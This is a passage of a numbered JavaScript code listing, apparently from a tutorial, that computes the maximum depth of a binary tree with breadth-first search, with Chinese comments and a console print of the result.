```



```
2     if (root === null) {
3         return 0;
4     }
5
6     const queue = [root];
7     let depth = 0;
8
9     while (queue.length > 0) {
10        // 每一轮循环代表一层
11        depth++;
12        const levelSize = queue.length;
13
14        for (let i = 0; i < levelSize; i++) {
15            const node = queue.shift();
16            if (node.left) {
17                queue.push(node.left);
18            }
19            if (node.right) {
20                queue.push(node.right);
21            }
22        }
23    }
24    return depth;
25 }
26
27 console.log('--- BFS solution ---');
28 console.log(maxDepthBFS(root)); // 输出: 3
```